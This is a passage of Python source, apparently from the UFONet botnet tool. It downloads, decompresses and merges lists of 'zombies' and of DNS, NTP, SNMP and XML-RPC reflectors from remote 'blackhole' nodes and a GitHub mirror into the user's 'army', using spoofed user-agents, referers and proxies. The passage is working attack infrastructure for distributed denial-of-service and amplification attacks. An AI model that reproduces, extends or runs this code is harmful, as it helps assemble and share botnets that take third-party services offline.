  3169. f_in_robots = gzip.open('botnet/robots.txt.gz', 'rb')
  3170. f_out_robots = open('botnet/robots.txt', 'wb')
  3171. f_out_robots.write(f_in_robots.read())
  3172. f_in_robots.close()
  3173. f_out_robots.close()
  3174. os.remove('botnet/robots.txt.gz') # remove robots .gz file
  3175. f_in_drones = gzip.open('botnet/drones.txt.gz', 'rb')
  3176. f_out_drones = open('botnet/drones.txt', 'wb')
  3177. f_out_drones.write(f_in_drones.read())
  3178. f_in_drones.close()
  3179. f_out_drones.close()
  3180. os.remove('botnet/drones.txt.gz') # remove drones .gz file
  3181. f_in_reflectors = gzip.open('botnet/reflectors.txt.gz', 'rb')
  3182. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  3183. f_out_reflectors.write(f_in_reflectors.read())
  3184. f_in_reflectors.close()
  3185. f_out_reflectors.close()
  3186. os.remove('botnet/reflectors.txt.gz') # remove reflectors .gz file
  3187. f_in_crystals = gzip.open('botnet/crystals.txt.gz', 'rb')
  3188. f_out_crystals = open('botnet/crystals.txt', 'wb')
  3189. f_out_crystals.write(f_in_crystals.read())
  3190. f_in_crystals.close()
  3191. f_out_crystals.close()
  3192. os.remove('botnet/crystals.txt.gz') # remove crystals .gz file
  3193. f_in_warps = gzip.open('botnet/warps.txt.gz', 'rb')
  3194. f_out_warps = open('botnet/warps.txt', 'wb')
  3195. f_out_warps.write(f_in_warps.read())
  3196. f_in_warps.close()
  3197. f_out_warps.close()
  3198. os.remove('botnet/warps.txt.gz') # remove warps .gz file
  3199. f_in_bosons = gzip.open('botnet/bosons.txt.gz', 'rb')
  3200. f_out_bosons = open('botnet/bosons.txt', 'wb')
  3201. f_out_bosons.write(f_in_bosons.read())
  3202. f_in_bosons.close()
  3203. f_out_bosons.close()
  3204. os.remove('botnet/bosons.txt.gz') # remove bosons .gz file
  3205. num_abductions = 0
  3206. with open('botnet/abductions.txt') as f:
  3207. for _ in f:
  3208. num_abductions = num_abductions + 1
  3209. print("[Info] Zombies: " + str(num_abductions))
  3210. num_robots = 0
  3211. with open('botnet/robots.txt') as f:
  3212. for _ in f:
  3213. num_robots = num_robots + 1
  3214. print("[Info] Droids : " + str(num_robots))
  3215. num_troops = 0
  3216. with open('botnet/troops.txt') as f:
  3217. for _ in f:
  3218. num_troops = num_troops + 1
  3219. print("[Info] Aliens : " + str(num_troops))
  3220. num_drones = 0
  3221. with open('botnet/drones.txt') as f:
  3222. for _ in f:
  3223. num_drones = num_drones + 1
  3224. print("[Info] UCAVs : " + str(num_drones))
  3225. num_reflectors = 0
  3226. with open('botnet/reflectors.txt') as f:
  3227. for _ in f:
  3228. num_reflectors = num_reflectors + 1
  3229. print("[Info] X-RPCs : " + str(num_reflectors))
  3230. num_crystals = 0
  3231. with open('botnet/crystals.txt') as f:
  3232. for _ in f:
  3233. num_crystals = num_crystals + 1
  3234. print("[Info] DNSs : " + str(num_crystals))
  3235. num_warps = 0
  3236. with open('botnet/warps.txt') as f:
  3237. for _ in f:
  3238. num_warps = num_warps + 1
  3239. print("[Info] NTPs : " + str(num_warps))
  3240. num_bosons = 0
  3241. with open('botnet/bosons.txt') as f:
  3242. for _ in f:
  3243. num_bosons = num_bosons + 1
  3244. print("[Info] SNMPs : " + str(num_bosons))
  3245. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
  3246. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  3247. print('-'*12)
  3248. if not self.options.forceyes:
  3249. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  3250. print('-'*25)
  3251. else:
  3252. update_reply = "Y"
  3253. if update_reply == "n" or update_reply == "N":
  3254. os.remove('botnet/abductions.txt') # remove abductions file
  3255. os.remove('botnet/troops.txt') # remove troops file
  3256. os.remove('botnet/robots.txt') # remove robots file
  3257. os.remove('botnet/drones.txt') # remove drones file
  3258. os.remove('botnet/reflectors.txt') # remove reflectors file
  3259. os.remove('botnet/crystals.txt') # remove crystals file
  3260. os.remove('botnet/warps.txt') # remove warps file
  3261. os.remove('botnet/bosons.txt') # remove bosons file
  3262. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  3263. print('-'*25)
  3264. print("\n[AI] "+self.exit_msg+"\n")
  3265. else:
  3266. zombies_ready = []
  3267. f = open('botnet/abductions.txt')
  3268. abductions = f.readlines()
  3269. f.close()
  3270. fz = open(self.zombies_file)
  3271. zombies = fz.readlines()
  3272. fz.close()
  3273. for abduction in abductions:
  3274. abduction = abduction.replace('\n','')
  3275. if abduction not in zombies:
  3276. zombies_ready.append(abduction)
  3277. else:
  3278. pass
  3279. self.update_zombies(zombies_ready)
  3280. os.remove('botnet/abductions.txt') # remove abductions .txt file
  3281. aliens_ready = []
  3282. f = open('botnet/troops.txt')
  3283. troops = f.readlines()
  3284. f.close()
  3285. fz = open(self.aliens_file)
  3286. aliens = fz.readlines()
  3287. fz.close()
  3288. for alien in troops:
  3289. alien = alien.replace('\n','')
  3290. if alien not in aliens:
  3291. aliens_ready.append(alien)
  3292. else:
  3293. pass
  3294. self.update_aliens(aliens_ready)
  3295. os.remove('botnet/troops.txt') # remove troops .txt file
  3296. droids_ready = []
  3297. f = open('botnet/robots.txt')
  3298. robots = f.readlines()
  3299. f.close()
  3300. fz = open(self.droids_file)
  3301. droids = fz.readlines()
  3302. fz.close()
  3303. for droid in robots:
  3304. droid = droid.replace('\n','')
  3305. if droid not in droids:
  3306. droids_ready.append(droid)
  3307. else:
  3308. pass
  3309. self.update_droids(droids_ready)
  3310. os.remove('botnet/robots.txt') # remove robots .txt file
  3311. ucavs_ready = []
  3312. f = open('botnet/drones.txt')
  3313. drones = f.readlines()
  3314. f.close()
  3315. fz = open(self.ucavs_file)
  3316. ucavs = fz.readlines()
  3317. fz.close()
  3318. for drone in drones:
  3319. drone = drone.replace('\n','')
  3320. if drone not in ucavs:
  3321. ucavs_ready.append(drone)
  3322. else:
  3323. pass
  3324. self.update_ucavs(ucavs_ready)
  3325. os.remove('botnet/drones.txt') # remove drones .txt file
  3326. rpcs_ready = []
  3327. f = open('botnet/reflectors.txt')
  3328. reflectors = f.readlines()
  3329. f.close()
  3330. fz = open(self.rpcs_file)
  3331. rpcs = fz.readlines()
  3332. fz.close()
  3333. for reflector in reflectors:
  3334. reflector = reflector.replace('\n','')
  3335. if reflector not in rpcs:
  3336. rpcs_ready.append(reflector)
  3337. else:
  3338. pass
  3339. self.update_rpcs(rpcs_ready)
  3340. os.remove('botnet/reflectors.txt') # remove reflectors .txt file
  3341. dnss_ready = []
  3342. f = open('botnet/crystals.txt')
  3343. crystals = f.readlines()
  3344. f.close()
  3345. fz = open(self.dnss_file)
  3346. dnss = fz.readlines()
  3347. fz.close()
  3348. for crystal in crystals:
  3349. crystal = crystal.replace('\n','')
  3350. if crystal not in dnss:
  3351. dnss_ready.append(crystal)
  3352. else:
  3353. pass
  3354. self.update_dnss(dnss_ready)
  3355. os.remove('botnet/crystals.txt') # remove crystals .txt file
  3356. ntps_ready = []
  3357. f = open('botnet/warps.txt')
  3358. warps = f.readlines()
  3359. f.close()
  3360. fz = open(self.ntps_file)
  3361. ntps = fz.readlines()
  3362. fz.close()
  3363. for warp in warps:
  3364. warp = warp.replace('\n','')
  3365. if warp not in ntps:
  3366. ntps_ready.append(warp)
  3367. else:
  3368. pass
  3369. self.update_ntps(ntps_ready)
  3370. os.remove('botnet/warps.txt') # remove warps .txt file
  3371. snmps_ready = []
  3372. f = open('botnet/bosons.txt')
  3373. bosons = f.readlines()
  3374. f.close()
  3375. fz = open(self.snmps_file)
  3376. snmps = fz.readlines()
  3377. fz.close()
  3378. for boson in bosons:
  3379. boson = boson.replace('\n','')
  3380. if boson not in snmps:
  3381. snmps_ready.append(boson)
  3382. else:
  3383. pass
  3384. self.update_snmps(snmps_ready)
  3385. os.remove('botnet/bosons.txt') # remove bosons .txt file
  3386. print("\n[Info] [AI] Botnet updated! -> ;-)")
  3387. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  3388. if not self.options.forceyes: # ask for update everything
  3389. print('-'*25 + "\n")
  3390. update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
  3391. else:
  3392. update_reply = "Y"
  3393. if update_reply == "n" or update_reply == "N":
  3394. print("\n[AI] "+self.exit_msg+"\n")
  3395. return
  3396. else:
  3397. try:
  3398. update_gui = self.update_gui_data() # update GUI data
  3399. except:
  3400. print('-'*25 +"\n")
  3401. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  3402. print('-'*25)
  3403. print("\n[AI] "+self.exit_msg+"\n")
  3404. return
  3405. def downloading_nodes_list(self):
  3406. # add your node to protect/share/distribute... [Zombies]
  3407. from io import BytesIO
  3408. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3409. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3410. n = open(self.globalnet_file, 'r')
  3411. nodes = n.readlines()
  3412. n.close()
  3413. if not nodes:
  3414. print("[AI] [Control] Not any [Nodes] present in your [Radar]... [Exiting!]\n")
  3415. return
  3416. globalnet_list = []
  3417. if self.options.timeout: # set timeout
  3418. try:
  3419. timeout = int(self.options.timeout)
  3420. except:
  3421. timeout = 5
  3422. else:
  3423. timeout = 5
  3424. if timeout < 1:
  3425. timeout = 5
  3426. if self.options.proxy: # set proxy
  3427. self.proxy_transport(self.options.proxy)
  3428. globalnet_ip_list = [] # used to check for repetitions
  3429. for m in nodes:
  3430. m = m.replace('\n','')
  3431. if self.globalnet_msg_sep in m:
  3432. m = m.split(self.globalnet_msg_sep)
  3433. enc_globalnet_owner = m[0] # owner
  3434. enc_globalnet_comment = m[1] # comment
  3435. enc_globalnet_warp = m[2] # warp
  3436. enc_globalnet_ip = m[3] # extract IP
  3437. self.decrypt(self.crypto_key, enc_globalnet_ip)
  3438. if self.decryptedtext:
  3439. globalnet_ip = self.decryptedtext
  3440. if globalnet_ip not in globalnet_ip_list:
  3441. globalnet_ip_list.append(globalnet_ip)
  3442. else:
  3443. return
  3444. self.decryptedtext = "" # clean decryptedtext buffer
  3445. print("[AI] Trying [Radar] [Blackhole] [Node]:", globalnet_ip, "\n")
  3446. if self.options.forcessl:
  3447. if self.options.proxy: # set proxy
  3448. self.proxy_transport(options.proxy)
  3449. try:
  3450. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/abductions.txt.gz', None, headers)
  3451. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3452. except:
  3453. abductions_reply = ""
  3454. try:
  3455. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/troops.txt.gz', None, headers)
  3456. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3457. except:
  3458. troops_reply = ""
  3459. try:
  3460. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/robots.txt.gz', None, headers)
  3461. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3462. except:
  3463. robots_reply = ""
  3464. try:
  3465. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/drones.txt.gz', None, headers)
  3466. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3467. except:
  3468. drones_reply = ""
  3469. try:
  3470. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/reflectors.txt.gz', None, headers)
  3471. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3472. except:
  3473. reflectors_reply = ""
  3474. try:
  3475. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/crystals.txt.gz', None, headers)
  3476. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3477. except:
  3478. crystals_reply = ""
  3479. try:
  3480. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/warps.txt.gz', None, headers)
  3481. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3482. except:
  3483. warps_reply = ""
  3484. try:
  3485. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/bosons.txt.gz', None, headers)
  3486. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3487. except:
  3488. bosons_reply = ""
  3489. else:
  3490. if self.options.proxy: # set proxy
  3491. self.proxy_transport(options.proxy)
  3492. try:
  3493. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/abductions.txt.gz', None, headers)
  3494. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3495. except:
  3496. abductions_reply = ""
  3497. try:
  3498. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/troops.txt.gz', None, headers)
  3499. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3500. except:
  3501. troops_reply = ""
  3502. try:
  3503. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/robots.txt.gz', None, headers)
  3504. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3505. except:
  3506. robots_reply = ""
  3507. try:
  3508. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/drones.txt.gz', None, headers)
  3509. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3510. except:
  3511. drones_reply = ""
  3512. try:
  3513. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/reflectors.txt.gz', None, headers)
  3514. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3515. except:
  3516. reflectors_reply = ""
  3517. try:
  3518. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/crystals.txt.gz', None, headers)
  3519. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3520. except:
  3521. crystals_reply = ""
  3522. try:
  3523. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/warps.txt.gz', None, headers)
  3524. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3525. except:
  3526. warps_reply = ""
  3527. try:
  3528. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/bosons.txt.gz', None, headers)
  3529. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3530. except:
  3531. bosons_reply = ""
  3532. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  3533. print("[AI] [Radar] [Blackhole] [Node] Reply: [VORTEX FAILED!]\n")
  3534. print("[AI] [Control] [Radar] [Blackhole] [Node] Action: [Removing!]")
  3535. print('-'*12 + '\n')
  3536. else:
  3537. print("[AI] [Radar] [Blackhole] [Node] Reply: [VORTEX READY!] ;-)")
  3538. print('-'*12)
  3539. num_zombies = 0
  3540. if abductions_reply:
  3541. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  3542. f_out_abductions = open('botnet/abductions.txt', 'wb')
  3543. f_out_abductions.write(f_in_abductions.read())
  3544. f_in_abductions.close()
  3545. f_out_abductions.close()
  3546. with open('botnet/abductions.txt') as f:
  3547. for _ in f:
  3548. num_zombies = num_zombies + 1
  3549. print("\n[Info] [Radar] [Blackhole] Total [Zombies]: "+ str(num_zombies))
  3550. num_robots = 0
  3551. if robots_reply:
  3552. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  3553. f_out_robots = open('botnet/robots.txt', 'wb')
  3554. f_out_robots.write(f_in_robots.read())
  3555. f_in_robots.close()
  3556. f_out_robots.close()
  3557. with open('botnet/robots.txt') as f:
  3558. for _ in f:
  3559. num_robots = num_robots + 1
  3560. print("[Info] [Radar] [Blackhole] Total [Droids] : "+ str(num_robots))
  3561. num_aliens = 0
  3562. if troops_reply:
  3563. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  3564. f_out_troops = open('botnet/troops.txt', 'wb')
  3565. f_out_troops.write(f_in_troops.read())
  3566. f_in_troops.close()
  3567. f_out_troops.close()
  3568. with open('botnet/troops.txt') as f:
  3569. for _ in f:
  3570. num_aliens = num_aliens + 1
  3571. print("[Info] [Radar] [Blackhole] Total [Aliens] : "+ str(num_aliens))
  3572. num_drones = 0
  3573. if drones_reply:
  3574. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  3575. f_out_drones = open('botnet/drones.txt', 'wb')
  3576. f_out_drones.write(f_in_drones.read())
  3577. f_in_drones.close()
  3578. f_out_drones.close()
  3579. with open('botnet/drones.txt') as f:
  3580. for _ in f:
  3581. num_drones = num_drones + 1
  3582. print("[Info] [Radar] [Blackhole] Total [UCAVs] : "+ str(num_drones))
  3583. num_reflectors = 0
  3584. if reflectors_reply:
  3585. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  3586. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  3587. f_out_reflectors.write(f_in_reflectors.read())
  3588. f_in_reflectors.close()
  3589. f_out_reflectors.close()
  3590. with open('botnet/reflectors.txt') as f:
  3591. for _ in f:
  3592. num_reflectors = num_reflectors + 1
  3593. print("[Info] [Radar] [Blackhole] Total [X-RPCs] : "+ str(num_reflectors))
  3594. num_crystals = 1 # black magic!
  3595. if crystals_reply:
  3596. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  3597. f_out_crystals = open('botnet/crystals.txt', 'wb')
  3598. f_out_crystals.write(f_in_crystals.read())
  3599. f_in_crystals.close()
  3600. f_out_crystals.close()
  3601. with open('botnet/crystals.txt') as f:
  3602. for _ in f:
  3603. num_crystals = num_crystals + 1
  3604. print("[Info] [Radar] [Blackhole] Total [NTPs] : "+ str(num_crystals))
  3605. num_warps = 1 # black magic!
  3606. if warps_reply:
  3607. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  3608. f_out_warps = open('botnet/warps.txt', 'wb')
  3609. f_out_warps.write(f_in_warps.read())
  3610. f_in_warps.close()
  3611. f_out_warps.close()
  3612. with open('botnet/warps.txt') as f:
  3613. for _ in f:
  3614. num_warps = num_warps + 1
  3615. print("[Info] [Radar] [Blackhole] Total [DNSs] : "+ str(num_warps))
  3616. num_bosons = 0
  3617. if bosons_reply:
  3618. f_in_bosons = gzip.open(BytesIO(bosons_reply), 'rb')
  3619. f_out_bosons = open('botnet/bosons.txt', 'wb')
  3620. f_out_bosons.write(f_in_bosons.read())
  3621. f_in_bosons.close()
  3622. f_out_bosons.close()
  3623. with open('botnet/bosons.txt') as f:
  3624. for _ in f:
  3625. num_bosons = num_bosons + 1
  3626. print("[Info] [Radar] [Blackhole] Total [SNMPs] : "+ str(num_bosons))
  3627. print('-'*12 + '\n')
  3628. zombies = self.extract_zombies()
  3629. if not zombies:
  3630. return
  3631. zombies_added = 0
  3632. if os.path.isfile('botnet/abductions.txt'):
  3633. f = open('botnet/abductions.txt')
  3634. abductions = f.readlines()
  3635. abductions = [abduction.strip() for abduction in abductions]
  3636. f.close()
  3637. fz = open(self.zombies_file)
  3638. zombies = fz.readlines()
  3639. zombies = [zombie.strip() for zombie in zombies]
  3640. fz.close()
  3641. az = open('botnet/zombies.txt', 'a')
  3642. for abduction in abductions:
  3643. if abduction not in zombies:
  3644. zombies_added = zombies_added + 1
  3645. az.write(abduction+os.linesep)
  3646. else:
  3647. pass
  3648. az.close()
  3649. os.remove('botnet/abductions.txt') # remove abductions file
  3650. print("[Info] [Radar] [Blackhole] Added [Zombies]: " + str(zombies_added))
  3651. droids = self.extract_droids()
  3652. if not droids:
  3653. return
  3654. droids_added = 0
  3655. if os.path.isfile('botnet/robots.txt'):
  3656. f = open('botnet/robots.txt')
  3657. robots = f.readlines()
  3658. robots = [robot.strip() for robot in robots]
  3659. f.close()
  3660. fz = open(self.droids_file)
  3661. droids = fz.readlines()
  3662. droids = [droid.strip() for droid in droids]
  3663. fz.close()
  3664. ad = open('botnet/droids.txt', 'a')
  3665. for robot in robots:
  3666. if robot not in droids:
  3667. droids_added = droids_added + 1
  3668. ad.write(robot+os.linesep)
  3669. else:
  3670. pass
  3671. ad.close()
  3672. os.remove('botnet/robots.txt') # remove robots file
  3673. print("[Info] [Radar] [Blackhole] Added [Droids] : " + str(droids_added))
  3674. aliens = self.extract_aliens()
  3675. if not aliens:
  3676. return
  3677. aliens_added = 0
  3678. if os.path.isfile('botnet/troops.txt'):
  3679. f = open('botnet/troops.txt')
  3680. troops = f.readlines()
  3681. troops = [troop.strip() for troop in troops]
  3682. f.close()
  3683. fz = open(self.aliens_file)
  3684. aliens = fz.readlines()
  3685. aliens = [alien.strip() for alien in aliens]
  3686. fz.close()
  3687. at = open('botnet/aliens.txt', 'a')
  3688. for troop in troops:
  3689. if troop not in aliens:
  3690. aliens_added = aliens_added + 1
  3691. at.write(troop+os.linesep)
  3692. else:
  3693. pass
  3694. at.close()
  3695. os.remove('botnet/troops.txt') # remove troops file
  3696. print("[Info] [Radar] [Blackhole] Added [Aliens] : " + str(aliens_added))
  3697. ucavs = self.extract_ucavs()
  3698. if not ucavs:
  3699. return
  3700. ucavs_added = 0
  3701. if os.path.isfile('botnet/drones.txt'):
  3702. f = open('botnet/drones.txt')
  3703. drones = f.readlines()
  3704. drones = [drone.strip() for drone in drones]
  3705. f.close()
  3706. fz = open(self.ucavs_file)
  3707. ucavs = fz.readlines()
  3708. ucavs = [ucav.strip() for ucav in ucavs]
  3709. fz.close()
  3710. au = open('botnet/ucavs.txt', 'a')
  3711. for drone in drones:
  3712. if drone not in ucavs:
  3713. ucavs_added = ucavs_added + 1
  3714. au.write(drone+os.linesep)
  3715. else:
  3716. pass
  3717. au.close()
  3718. os.remove('botnet/drones.txt') # remove ucavs file
  3719. print("[Info] [Radar] [Blackhole] Added [UCAVs] : " + str(ucavs_added))
  3720. rpcs = self.extract_rpcs()
  3721. if not rpcs:
  3722. return
  3723. rpcs_added = 0
  3724. if os.path.isfile('botnet/reflectors.txt'):
  3725. f = open('botnet/reflectors.txt')
  3726. reflectors = f.readlines()
  3727. reflectors = [reflector.strip() for reflector in reflectors]
  3728. f.close()
  3729. fz = open(self.rpcs_file)
  3730. rpcs = fz.readlines()
  3731. rpcs = [rpc.strip() for rpc in rpcs]
  3732. fz.close()
  3733. ar = open('botnet/rpcs.txt', 'a')
  3734. for reflector in reflectors:
  3735. if reflector not in rpcs:
  3736. rpcs_added = rpcs_added + 1
  3737. ar.write(reflector+os.linesep)
  3738. else:
  3739. pass
  3740. ar.close()
  3741. os.remove('botnet/reflectors.txt') # remove rpcs file
  3742. print("[Info] [Radar] [Blackhole] Added [X-RPCs] : " + str(rpcs_added))
  3743. ntps = self.extract_ntps()
  3744. if not ntps:
  3745. return
  3746. ntps_added = 0
  3747. if os.path.isfile('botnet/crystals.txt'):
  3748. f = open('botnet/crystals.txt')
  3749. crystals = f.readlines()
  3750. crystals = [crystal.strip() for crystal in crystals]
  3751. f.close()
  3752. fz = open(self.ntps_file)
  3753. ntps = fz.readlines()
  3754. ntps = [ntp.strip() for ntp in ntps]
  3755. fz.close()
  3756. an = open('botnet/ntp.txt', 'a')
  3757. for crystal in crystals:
  3758. if crystal not in ntps:
  3759. ntps_added = ntps_added + 1
  3760. an.write(crystal+os.linesep)
  3761. else:
  3762. pass
  3763. an.close()
  3764. os.remove('botnet/crystals.txt') # remove crystals file
  3765. print("[Info] [Radar] [Blackhole] Added [NTPs] : " + str(ntps_added))
  3766. dnss = self.extract_dnss()
  3767. if not dnss:
  3768. return
  3769. dnss_added = 0
  3770. if os.path.isfile('botnet/warps.txt'):
  3771. f = open('botnet/warps.txt')
  3772. warps = f.readlines()
  3773. warps = [warp.strip() for warp in warps]
  3774. f.close()
  3775. fz = open(self.dnss_file)
  3776. dnss = fz.readlines()
  3777. dnss = [dns.strip() for dns in dnss]
  3778. fz.close()
  3779. ad = open('botnet/dns.txt', 'a')
  3780. for warp in warps:
  3781. if warp not in dnss:
  3782. dnss_added = dnss_added + 1
  3783. ad.write(warp+os.linesep)
  3784. else:
  3785. pass
  3786. ad.close()
  3787. os.remove('botnet/warps.txt') # remove warps file
  3788. print("[Info] [Radar] [Blackhole] Added [DNSs] : " + str(dnss_added))
  3789. snmps = self.extract_snmps()
  3790. if not snmps:
  3791. return
  3792. snmps_added = 0
  3793. if os.path.isfile('botnet/bosons.txt'):
  3794. f = open('botnet/bosons.txt')
  3795. bosons = f.readlines()
  3796. bosons = [boson.strip() for boson in bosons]
  3797. f.close()
  3798. fz = open(self.snmps_file)
  3799. snmps = fz.readlines()
  3800. snmps = [snmp.strip() for snmp in snmps]
  3801. fz.close()
  3802. asn = open('botnet/snmp.txt', 'a')
  3803. for boson in bosons:
  3804. if boson not in snmps:
  3805. snmps_added = snmps_added + 1
  3806. asn.write(boson+os.linesep)
  3807. else:
  3808. pass
  3809. asn.close()
  3810. os.remove('botnet/bosons.txt') # remove snmps file
  3811. print("[Info] [Radar] [Blackhole] Added [SNMPs] : " + str(snmps_added))
  3812. print('-'*12 + '\n')
  3813. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0: # not any zombie
  3814. print("[AI] [Control] [Radar] [Blackhole] [Node] These [Zombies] are already in your [Army] -> [Passing!]")
  3815. print('-'*12 + '\n')
  3816. else:
  3817. total_zombies = zombies_added + aliens_added + droids_added + ucavs_added + rpcs_added + ntps_added + dnss_added + snmps_added
  3818. print("[Info] [AI] Congratulations!. Total [Zombies] added: " + str(total_zombies))
  3819. print('-'*12)
  3820. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  3821. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  3822. stream = str(enc_globalnet_owner)+self.globalnet_msg_sep+str(enc_globalnet_comment)+self.globalnet_msg_sep+str(enc_globalnet_warp)+self.globalnet_msg_sep+str(enc_globalnet_ip)
  3823. globalnet_list.append(stream+os.linesep)
  3824. print('='*22 + '\n')
  3825. if globalnet_list is not None:
  3826. f = open(self.globalnet_file, "w") # write to globalnet.txt
  3827. for node in globalnet_list:
  3828. f.write(node)
  3829. f.close()
  3830. def downloading_github_list(self):
  3831. # add your mirror to protect/share/distribute... [Zombies]
  3832. try:
  3833. print("[AI] Trying [Blackhole] [GitHub]: "+self.github_zombies+"\n")
  3834. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3835. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3836. if self.options.timeout: # set timeout
  3837. try:
  3838. timeout = int(self.options.timeout)
  3839. except:
  3840. timeout = 5
  3841. else:
  3842. timeout = 5
  3843. if timeout < 1:
  3844. timeout = 5
  3845. if self.options.proxy: # set proxy
  3846. self.proxy_transport(self.options.proxy)
  3847. try:
  3848. req = urllib.request.Request(self.github_zombies+'zombies.txt', None, headers)
  3849. zombies_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3850. except:
  3851. zombies_reply = ""
  3852. try:
  3853. req = urllib.request.Request(self.github_zombies+'aliens.txt', None, headers)
  3854. aliens_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3855. except:
  3856. aliens_reply = ""
  3857. try:
  3858. req = urllib.request.Request(self.github_zombies+'dns.txt', None, headers)
  3859. dns_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3860. except:
  3861. dns_reply = ""
  3862. try:
  3863. req = urllib.request.Request(self.github_zombies+'droids.txt', None, headers)
  3864. droids_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3865. except:
  3866. droids_reply = ""
  3867. try:
  3868. req = urllib.request.Request(self.github_zombies+'rpcs.txt', None, headers)
  3869. rpcs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3870. except:
  3871. rpcs_reply = ""
  3872. try:
  3873. req = urllib.request.Request(self.github_zombies+'ucavs.txt', None, headers)
  3874. ucavs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3875. except:
  3876. ucavs_reply = ""
  3877. try:
  3878. req = urllib.request.Request(self.github_zombies+'ntp.txt', None, headers)
  3879. ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3880. except:
  3881. ntp_reply = ""
  3882. try:
  3883. req = urllib.request.Request(self.github_zombies+'snmp.txt', None, headers)
  3884. snmp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3885. except:
  3886. snmp_reply = ""
  3887. if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "" and snmp_reply == "":
  3888. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  3889. print('-'*12 + '\n')
  3890. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  3891. return
  3892. f = open('botnet/abductions.txt', 'w') # zombies
  3893. f.write(zombies_reply)
  3894. f.close()
  3895. f = open('botnet/troops.txt', 'w') # aliens
  3896. f.write(aliens_reply)
  3897. f.close()
  3898. f = open('botnet/crystals.txt', 'w') # dns
  3899. f.write(dns_reply)
  3900. f.close()
  3901. f = open('botnet/robots.txt', 'w') # droids
  3902. f.write(droids_reply)
  3903. f.close()
  3904. f = open('botnet/drones.txt', 'w') # ucavs
  3905. f.write(ucavs_reply)
  3906. f.close()
  3907. f = open('botnet/reflectors.txt', 'w') # rpcs
  3908. f.write(rpcs_reply)
  3909. f.close()
  3910. f = open('botnet/warps.txt', 'w') # ntp
  3911. f.write(ntp_reply)
  3912. f.close()
